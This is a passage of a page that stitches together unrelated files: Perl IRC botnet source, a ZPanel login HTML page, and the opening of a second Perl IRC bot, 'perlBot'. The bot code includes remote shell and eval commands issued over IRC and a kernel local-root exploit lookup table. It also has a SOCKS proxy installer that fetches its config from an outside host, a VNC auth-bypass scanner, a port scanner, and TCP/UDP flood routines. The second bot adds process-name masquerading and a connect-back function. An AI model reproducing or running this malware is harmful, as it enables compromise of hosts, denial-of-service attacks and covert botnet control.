########################[..@back..]######################## | |
########################################################### | |
########################################################### | |
#######################[.@rootable.]####################### | |
########################################################### | |
if ($funcarg =~ /^rootable/) { | |
my $khost = `uname -r`; | |
my $currentid = `whoami`; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4r00table2:.14 Currently you are ".$currentid." "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4r00table2:.14 The kernel of this box is ".$khost." "); | |
chomp($khost); | |
my %h; | |
$h{'w00t'} = { | |
vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20'] | |
}; | |
$h{'brk'} = { | |
vuln=>['2.4.22','2.4.21','2.4.10','2.4.20'] | |
}; | |
$h{'ave'} = { | |
vuln=>['2.4.19','2.4.20'] | |
}; | |
$h{'elflbl'} = { | |
vuln=>['2.4.29'] | |
}; | |
$h{'elfdump'} = { | |
vuln=>['2.4.27'] | |
}; | |
$h{'expand_stack'} = { | |
vuln=>['2.4.29'] | |
}; | |
$h{'h00lyshit'} = { | |
vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2'] | |
}; | |
$h{'kdump'} = { | |
vuln=>['2.6.13'] | |
}; | |
$h{'km2'} = { | |
vuln=>['2.4.18','2.4.22'] | |
}; | |
$h{'krad'} = { | |
vuln=>['2.6.11'] | |
}; | |
$h{'krad3'} = { | |
vuln=>['2.6.11','2.6.9'] | |
}; | |
$h{'local26'} = { | |
vuln=>['2.6.13'] | |
}; | |
$h{'loko'} = { | |
vuln=>['2.4.22','2.4.23','2.4.24'] | |
}; | |
$h{'mremap_pte'} = { | |
vuln=>['2.4.20','2.2.25','2.4.24'] | |
}; | |
$h{'newlocal'} = { | |
vuln=>['2.4.17','2.4.19','2.4.18'] | |
}; | |
$h{'ong_bak'} = { | |
vuln=>['2.4.','2.6.'] | |
}; | |
$h{'ptrace'} = { | |
vuln=>['2.2.','2.4.22'] | |
}; | |
$h{'ptrace_kmod'} = { | |
vuln=>['2.4.2'] | |
}; | |
$h{'ptrace24'} = { | |
vuln=>['2.4.9'] | |
}; | |
$h{'pwned'} = { | |
vuln=>['2.4.','2.6.'] | |
}; | |
$h{'py2'} = { | |
vuln=>['2.6.9','2.6.17','2.6.15','2.6.13'] | |
}; | |
$h{'raptor_prctl'} = { | |
vuln=>['2.6.13','2.6.17','2.6.16','2.6.13'] | |
}; | |
$h{'prctl3'} = { | |
vuln=>['2.6.13','2.6.17','2.6.9'] | |
}; | |
$h{'remap'} = { | |
vuln=>['2.4.'] | |
}; | |
$h{'rip'} = { | |
vuln=>['2.2.'] | |
}; | |
$h{'stackgrow2'} = { | |
vuln=>['2.4.29','2.6.10'] | |
}; | |
$h{'uselib24'} = { | |
vuln=>['2.4.29','2.6.10','2.4.22','2.4.25'] | |
}; | |
$h{'newsmp'} = { | |
vuln=>['2.6.'] | |
}; | |
$h{'smpracer'} = { | |
vuln=>['2.4.29'] | |
}; | |
$h{'loginx'} = { | |
vuln=>['2.4.22'] | |
}; | |
$h{'exp.sh'} = { | |
vuln=>['2.6.9','2.6.10','2.6.16','2.6.13'] | |
}; | |
$h{'prctl'} = { | |
vuln=>['2.6.'] | |
}; | |
$h{'kmdx'} = { | |
vuln=>['2.6.','2.4.'] | |
}; | |
$h{'raptor'} = { | |
vuln=>['2.6.13','2.6.14','2.6.15','2.6.16'] | |
}; | |
$h{'raptor2'} = { | |
vuln=>['2.6.13','2.6.14','2.6.15','2.6.16'] | |
}; | |
foreach my $key(keys %h){ | |
foreach my $kernel ( @{ $h{$key}{'vuln'} } ){ | |
if($khost=~/^$kernel/){ | |
chop($kernel) if ($kernel=~/.$/); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4r00table2:.14 Possible Local Root Exploits: ". $key ." "); | |
} | |
} | |
} | |
} | |
########################################################### | |
#######################[.@rootable.]####################### | |
########################################################### | |
########################################################### | |
#######################[.@sendmail.]####################### | |
########################################################### | |
if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Mailer2:.14 Sending Mail to : 2 $3"); | |
$subject = $1; | |
$sender = $2; | |
$recipient = $3; | |
@corpo = $4; | |
$mailtype = "content-type: text/html"; | |
$sendmail = '/usr/sbin/sendmail'; | |
open (SENDMAIL, "| $sendmail -t"); | |
print SENDMAIL "$mailtype\n"; | |
print SENDMAIL "Subject: $subject\n"; | |
print SENDMAIL "From: $sender\n"; | |
print SENDMAIL "To: $recipient\n\n"; | |
print SENDMAIL "@corpo\n\n"; | |
close (SENDMAIL); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Mailer2:.14 Mail Sent To : 2 $recipient"); | |
} | |
########################################################### | |
#######################[.@sendmail.]####################### | |
########################################################### | |
########################################################### | |
########################[.@socks5.]######################## | |
########################################################### | |
if ($funcarg =~ /^socks5/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 Installing Mocks please wait4"); | |
system 'cd /tmp'; | |
system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz'; | |
system 'tar -xvfz mocks-0.0.2.tar.gz'; | |
system 'rm -rf mocks-0.0.2.tar.gz'; | |
system 'cd mocks-0.0.2'; | |
system 'rm -rf mocks.conf'; | |
system 'curl -O http://andromeda.covers.de/221/mocks.conf'; | |
system 'touch mocks.log'; | |
system 'chmod 0 mocks.log'; | |
sleep(2); | |
system './mocks start'; | |
sleep(4); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 Looks like its succesfully installed lets do the last things4 "); | |
#lets grab ip | |
$net = `/sbin/ifconfig | grep 'eth0'`; | |
if (length($net)) | |
{ | |
$net = `/sbin/ifconfig eth0 | grep 'inet addr'`; | |
if (!length($net)) | |
{ | |
$net = `/sbin/ifconfig eth0 | grep 'inet end.'`; | |
} | |
if (length($net)) | |
{ | |
chop($net); | |
@netip = split/:/,$net; | |
$netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/; | |
$ip = $1 .".". $2 .".". $3 .".". $4; | |
#and print it ^^ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 Connect here :4 ". $ip .":8787 "); | |
} | |
else | |
{ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 IP not founded "); | |
} | |
} | |
else | |
{ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS "); | |
} | |
} | |
########################################################### | |
########################[.@socks5.]######################## | |
########################################################### | |
########################################################### | |
##########################[.@vnc.]######################### | |
########################################################### | |
#r0xb0t 4.6 VNC ScaNNer by ARZ | |
if ($funcarg =~ /^vnc\s+(.*)/) { | |
my $MAX_SOCKET_TIME = 2; | |
my $MAX_CONNECT_TIME = 3; | |
#&ftpcheckm($printl); | |
my @hosts; | |
my $MAX_PROCESSES=100; | |
my $host=$1; | |
#my $victim=$host; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :_12[_4@_VNC_12] :::: IP Range:_4 $host* "); | |
$|=1; | |
foreach (0..255) { | |
my $pre="$host.$_."; | |
foreach (1..255) { | |
push(@hosts,$pre.$_); | |
} | |
} | |
my @pids; | |
my $npids=0; | |
for $victim (@hosts){ | |
my $pid; | |
$pid=fork(); | |
if($pid>0){ | |
$npids++; | |
if($npids>=$MAX_PROCESSES){ | |
for(1..($MAX_PROCESSES)){ | |
$wait_ret=wait(); | |
if($wait_ret>0){ | |
$npids--; | |
} | |
} | |
} | |
next; | |
} elsif(undef $pid) { | |
# print "fork error\n" if ($DEBUG); | |
exit(0); | |
}else{ | |
my($proto,$port); | |
$0=""; | |
# kill thread on timeout | |
local $SIG{'ALRM'} = sub { exit(0); }; | |
alarm $MAX_SOCKET_TIME; | |
my $port=5900; | |
print "Connecting to $victim:$port..."; | |
#$| = 1; | |
($sock = IO::Socket::INET->new(PeerAddr => $victim,PeerPort => $port,Proto => 'tcp',)) ? print "\n": die("\n"); | |
#negotiate protocol | |
$sock->read($protocol_version,12); | |
print $sock $protocol_version; | |
print "Using protocol $protocol_version"; | |
$sock->read($security_types,1); | |
$sock->read($hahaha,unpack('C',$security_types)); | |
print $sock "\x01"; | |
$sock->read($in,4); | |
if(unpack('I',$in)) { die("\n") }; | |
print $sock "\x01"; | |
$sock->read($in,4); | |
(unpack('I',$in)) ? | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :_12[_4@_VNC_12] ::::_4 ".$victim." _12is Vulnerable using protocol_4 ".$protocol_version): die("\n"); | |
exit; | |
} | |
} | |
for(1..$npids){ | |
my $wt=wait(); | |
if($wt==-1){ | |
# print "hey $!\n" if($DEBUG); | |
redo; | |
} | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :_12[_4@_VNC_12] :::: Finished Scan for _4 $host "); | |
} | |
########################################################### | |
##########################[.@vnc.]######################### | |
########################################################### | |
########################################################### | |
#########################[.@nmap.]######################### | |
########################################################### | |
if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){ | |
my $hostip="$1"; | |
my $portstart = "$2"; | |
my $portend = "$3"; | |
my (@abertas, %porta_banner); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 Scanning $1 For Ports: $2-$3"); | |
foreach my $porta ($portstart..$portend){ | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime); | |
if ($scansock) { | |
push (@abertas, $porta); | |
$scansock->close; | |
if ($xstats){ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 Founded $porta"."/Open"); | |
} | |
} | |
} | |
if (@abertas) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 Complete"); | |
} else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 No open ports have been founded"); | |
} | |
} | |
########################################################### | |
#########################[.@nmap.]######################### | |
########################################################### | |
exit; | |
} | |
} | |
} | |
sub ircase { | |
my ($kem, $printl, $case) = @_; | |
if ($case =~ /^join (.*)/) { | |
j("$1"); | |
} | |
if ($case =~ /^part (.*)/) { | |
p("$1"); | |
} | |
if ($case =~ /^rejoin\s+(.*)/) { | |
my $chan = $1; | |
if ($chan =~ /^(\d+) (.*)/) { | |
for (my $ca = 1; $ca <= $1; $ca++ ) { | |
p("$2"); | |
j("$2"); | |
} | |
} else { | |
p("$chan"); | |
j("$chan"); | |
} | |
} | |
if ($case =~ /^op/) { | |
op("$printl", "$kem") if $case eq "op"; | |
my $oarg = substr($case, 3); | |
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
if ($case =~ /^deop/) { | |
deop("$printl", "$kem") if $case eq "deop"; | |
my $oarg = substr($case, 5); | |
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
if ($case =~ /^msg\s+(\S+) (.*)/) { | |
msg("$1", "$2"); | |
} | |
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
msg("$2", "$3"); | |
} | |
} | |
if ($case =~ /^ctcp\s+(\S+) (.*)/) { | |
ctcp("$1", "$2"); | |
} | |
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
ctcp("$2", "$3"); | |
} | |
} | |
if ($case =~ /^nick (.*)/) { | |
nick("$1"); | |
} | |
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { | |
conectar("$2", "$1", 6667); | |
} | |
if ($case =~ /^raw (.*)/) { | |
sendraw("$1"); | |
} | |
if ($case =~ /^eval (.*)/) { | |
eval "$1"; | |
} | |
} | |
sub shell { | |
my $printl=$_[0]; | |
my $comando=$_[1]; | |
if ($comando =~ /cd (.*)/) { | |
chdir("$1") || msg("$printl", "No such file or directory"); | |
return; | |
} | |
elsif ($pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
my @resp=`$comando 2>&1 3>&1`; | |
my $c=0; | |
foreach my $linha (@resp) { | |
$c++; | |
chop $linha; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); | |
if ($c == "$linas_max") { | |
$c=0; | |
sleep $sleep; | |
} | |
} | |
exit; | |
} | |
} | |
} | |
sub tcpflooder { | |
my $itime = time; | |
my ($cur_time); | |
my ($ia,$pa,$proto,$j,$l,$t); | |
$ia=inet_aton($_[0]); | |
$pa=sockaddr_in($_[1],$ia); | |
$ftime=$_[2]; | |
$proto=getprotobyname('tcp'); | |
$j=0;$l=0; | |
$cur_time = time - $itime; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
socket($t,PF_INET,SOCK_STREAM,$proto); | |
connect($t,$pa)||$j--; | |
$j++;$l++; | |
} | |
$l=0; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
shutdown($t,2); | |
$l++; | |
} | |
} | |
sub udpflooder { | |
my $iaddr = inet_aton($_[0]); | |
my $msg = 'A' x $_[1]; | |
my $ftime = $_[2]; | |
my $cp = 0; | |
my (%pacotes); | |
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; | |
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; | |
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; | |
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; | |
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; | |
return(undef) if $cp == 4; | |
my $itime = time; | |
my ($cur_time); | |
while ( 1 ) { | |
for (my $port = 1; $port <= 65000; $port++) { | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++; | |
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++; | |
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++; | |
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++; | |
for (my $pc = 3; $pc <= 255;$pc++) { | |
next if $pc == 6; | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; | |
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++; | |
} | |
} | |
last if $cur_time >= $ftime; | |
} | |
return($cur_time, %pacotes); | |
} | |
sub udpflooder2 { | |
my $iaddr = inet_aton($_[0]); | |
my $msg = 'A' x $_[1]; | |
my $ftime = $_[2]; | |
my $cp = 0; | |
my $udpport = $_[3]; | |
my (%pacotes); | |
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; | |
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; | |
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; | |
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; | |
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; | |
return(undef) if $cp == 4; | |
my $itime = time; | |
my ($cur_time); | |
while ( 1 ) { | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
send(SOCK1, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{igmp}++; | |
send(SOCK2, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{udp}++; | |
send(SOCK3, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{icmp}++; | |
send(SOCK4, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{tcp}++; | |
for (my $pc = 3; $pc <= 255;$pc++) { | |
next if $pc == 6; | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; | |
send(SOCK5, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{o}++; | |
} | |
last if $cur_time >= $ftime; | |
} | |
return($cur_time, %pacotes); | |
} | |
sub ctcp { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :\001$_[1]\001"); | |
} | |
sub msg { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :$_[1]"); | |
} | |
sub notice { | |
return unless $#_ == 1; | |
sendraw("NOTICE $_[0] :$_[1]"); | |
} | |
sub op { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +o $_[1]"); | |
} | |
sub deop { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -o $_[1]"); | |
} | |
sub j { &join(@_); } | |
sub join { | |
return unless $#_ == 0; | |
sendraw("JOIN $_[0]"); | |
} | |
sub p { part(@_); } | |
sub part { | |
sendraw("PART $_[0]"); | |
} | |
sub nick { | |
return unless $#_ == 0; | |
sendraw("NICK $_[0]"); | |
} | |
sub quit { | |
sendraw("QUIT :$_[0]"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<head> | |
<meta charset="utf-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> | |
<title>Control Panel - Login</title> | |
<meta name="viewport" content="width=device-width"> | |
<meta name="robots" content="noindex, nofollow"> | |
<!-- Favicons --> | |
<link rel="apple-touch-icon-precomposed" sizes="57x57" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-57-precomposed.png"> | |
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-114-precomposed.png"> | |
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-72-precomposed.png"> | |
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-144-precomposed.png"> | |
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav16.png" sizes="16x16" type="image/png"> | |
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav32.png" sizes="32x32" type="image/png"> | |
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav48.png" sizes="48x48" type="image/png"> | |
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav64.png" sizes="64x64" type="image/png"> | |
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav128.png" sizes="128x128" type="image/png"> | |
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav32.png"> | |
<!--[if IE]><link rel="shortcut icon" href="/etc/styles/zpanelx/img/ico/favicon.ico"><![endif]--> | |
<meta name="msapplication-TileColor" content="#222222"> | |
<meta name="msapplication-TileImage" content="/etc/styles/zpanelx/img/ico/fav144.png"> | |
<!-- Stylesheets --> | |
<link href="/etc/styles/zpanelx/global-css/bootstrap.css" rel="stylesheet"> | |
<link href="/etc/styles/zpanelx/global-css/login.css" rel="stylesheet"> | |
<!-- HTML5 shim for IE6-8 support of HTML5 elements --> | |
<!--[if lt IE 9]> | |
<script src="/etc/styles/zpanelx/js/html5shiv.js"></script> | |
<![endif]--> | |
<script> | |
document.write('<style type="text/css">body {display:none;}<\/style>'); | |
</script> | |
<!-- Anti-ClickJacking Protection --> | |
<style id="antiClickjack">body{display:none !important;}</style> | |
<script> | |
if (self === top) { | |
var antiClickjack = document.getElementById("antiClickjack"); | |
antiClickjack.parentNode.removeChild(antiClickjack); | |
} else { | |
top.location = self.location; | |
} | |
</script> | |
</head> | |
<body> | |
<div class="loginwrapper"> | |
<div class="panel login-panel"> | |
<div class="panel-heading login-head"> | |
<img src="/etc/styles/zpanelx/images/zplogo_v9.png"> | |
</div> | |
<div class="panel-content form-horizontal"> | |
<!-- Reset password form --> | |
<!-- Forgot password form --> | |
<form method="post" name="frmZForgot" id="frmZForgot" class="form-horizontal loginform" style="display: none;"> | |
<div class="loginmid"> | |
<div class="control-group"> | |
<label class="control-label" for="inputEmail"> | |
Email: | |
</label> | |
<div class="controls"> | |
<input type="text" class="input-medium" id="inputEmail" name="inForgotPassword" placeholder="Email" required> | |
</div> | |
</div> | |
</div> | |
<div class="loginbtm"> | |
<div> | |
<a href="javascript:void(0);" id="backtologin">Back To Login</a> | |
</div> | |
<div> | |
<button type="submit" class="btn btn-primary" name="sublogin2" value="LogIn">Submit</button> | |
</div> | |
</div> | |
<input type="hidden" name="csfr_token" value="w2rxxfadz0acq8iegwjtfp3u4qvtsnipn5cd0rsaqg0ze9dk02"> </form> | |
<!-- End Forgot password form --> | |
<!-- Login form --> | |
<form method="post" name="frmZLogin" id="frmZLogin" class="form-horizontal loginform"> | |
<div class="loginmid"> | |
<div class="control-group"> | |
<label class="control-label" for="inputUsername">Username:</label> | |
<div class="controls"> | |
<input type="text" class="input-medium" id="inputUsername" name="inUsername" placeholder="Username" required> | |
</div> | |
</div> | |
<div class="control-group"> | |
<label class="control-label" for="inPassword">Password:</label> | |
<div class="controls"> | |
<input type="password" class="input-medium" id="inPassword" name="inPassword" placeholder="Password" required> | |
</div> | |
</div> | |
<div class="fluid-row"> | |
<div class="controls"> | |
<label class="checkbox"> | |
<input type="checkbox" data-label="Remember Me" name="inRemember" value="1"> | |
<input type="checkbox" data-label="Enable Session Security" name="inSessionSecurity" checked> | |
</label> | |
</div> | |
</div> | |
</div> | |
<div class="loginbtm"> | |
<div> | |
<a href="javascript:void(0);" id="forgotpw">Forgot Password?</a> | |
</div> | |
<div> | |
<button type="submit" class="btn btn-primary" name="sublogin2" value="LogIn">Login</button> | |
</div> | |
</div> | |
<input type="hidden" name="csfr_token" value="w2rxxfadz0acq8iegwjtfp3u4qvtsnipn5cd0rsaqg0ze9dk02"> </form> | |
<!-- End Login form --> | |
</div><!-- End Panel content--> | |
</div> | |
<p class="vbox">Powered By: <a href="http://www.zpanelcp.com/" target="_blank">ZPanel</a></p> | |
</div> | |
<!-- Javascript | |
================================================== --> | |
<script src="/etc/styles/zpanelx/js/jquery.js"></script> | |
<script src="/etc/styles/zpanelx/js/prettyCheckable.js"></script> | |
<!-- Pretty checkable @ https://github.com/arthurgouveia/prettyCheckable --> | |
<script> | |
$().ready(function() { | |
$('input:checkbox').prettyCheckable({ | |
color: 'green', | |
customClass: 'logcheckbox' | |
}); | |
}); | |
</script> | |
<!-- Login form transitions --> | |
<script> | |
$('#forgotpw').click(function() { | |
$('#frmZLogin').slideUp('slow', function() { | |
$('#frmZForgot').slideDown("slow"); | |
}); | |
}); | |
$('#backtologin').click(function() { | |
$('#frmZForgot').slideUp('slow', function() { | |
$('#frmZLogin').slideDown("slow"); | |
}); | |
}); | |
$('#backtologin2').click(function() { | |
$('#frmZConfirm').slideUp('slow', function() { | |
$('#frmZLogin').slideDown("slow"); | |
}); | |
}); | |
</script> | |
<!-- Page fade in after load --> | |
<script> | |
$(window).load(function() { | |
$("body").fadeIn(); | |
}); | |
</script> | |
</body> | |
</html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
#################################################################################################################### | |
#################################################################################################################### | |
## perlBot v1.02012 By unknown @unknown ## [ Help ] #################################### | |
## Stealth MultiFunctional IrcBot Writen in Perl ##################################################### | |
## Teste on every system with PERL instlled ## !x @system ## | |
## ## !x @version ## | |
## This is a free program used on your own risk. ## !x @channel ## | |
## Created for educational purpose only. ## !x @flood ## | |
## I'm not responsible for the illegal use of this program. ## !x @utils ## | |
#################################################################################################################### | |
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ######################### | |
#################################################################################################################### | |
## !x !join <#channel> ## !x @udp1 <ip> <port> <time> ## !su @conback <ip> <port> ## | |
## !x !part <#channel> ## !x @udp2 <ip> <packet size> <time> ## !x @downlod <url+path> <file> ## | |
## !x !xejoin <#channel> ## !x @udp3 <ip> <port> <time> ## !x @portscan <ip> ## | |
## !x !op <channel> <nick> ## !x @tcp <ip> <port> <packet size> <time> ## !x @mail <subject> <sender> ## | |
## !x !deop <channel> <nick> ## !x @http <site> <time> ## <recipient> <message> ## | |
## !x !voice <channel> <nick> ## ## !x pwd;uname -a;id <for example> ## | |
## !x !devoice <channel> <nick> ## !x @ctcpflood <nick> ## !x @port <ip> <port> ## | |
## !x !nick <newnick> ## !x @msgflood <nick> ## !x @dns <ip/host> ## | |
## !x !msg <nick> ## !x @noticeflood <nick> ## ## | |
## !x !quit ## ## ## | |
## !x !xaw ## ## ## | |
## !x !die ## ## ## | |
#################################################################################################################### | |
#################################################################################################################### | |
############################# | |
##### [ Configuration ] ##### | |
############################# | |
my @rps = ("/usr/local/apache/bin/httpd -DSSL","/usr/sbin/httpd -k start -DSSL","/usr/sbin/httpd","/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D","/sbin/syslogd","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron"); | |
my $process = $rps[rand scalar @rps]; | |
my @rversion = ("\001VERSION - unknown command.\001", | |
"\001mIRC v5.91 K.Mardam-Bey\001", | |
"\001mIRC v6.2 Khaled Mardam-Bey\001", | |
"\001mIRC v6.03 Khaled Mardam-Bey\001", | |
"\001mIRC v6.14 Khaled Mardam-Bey\001", | |
"\001mIRC v6.15 Khaled Mardam-Bey\001", | |
"\001mIRC v6.16 Khaled Mardam-Bey\001", | |
"\001mIRC v6.17 Khaled Mardam-Bey\001", | |
"\001mIRC v6.21 Khaled Mardam-Bey\001", | |
"\001mIRC v6.31 Khaled Mardam-Bey\001", | |
"\001mIRC v7.15 Khaled Mardam-Bey\001"); | |
my $vers = $rversion[rand scalar @rversion]; | |
my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra", | |
"alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja", | |
"anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis", | |
"aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky", | |
"blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram", | |
"brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess", | |
"chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker", | |
"coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread", | |
"crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario", | |
"darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital", | |
"djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica", | |
"ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon", | |
"eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw", | |
"fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy", | |
"gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie", | |
"grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry", | |
"hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez", | |
"ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa", | |
"jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz", | |
"jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny", | |
"joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze", | |
"juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken", | |
"keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas", | |
"kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa", | |
"kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux", | |
"lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal", | |
"lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny", | |
"lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou", | |
"manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max", | |
"mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina", | |
"mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw", | |
"monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx", | |
"mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc", | |
"musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie", | |
"natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip", | |
"ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld", | |
"outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal", | |
"pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma", | |
"pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz", | |
"quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska", | |
"raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta", | |
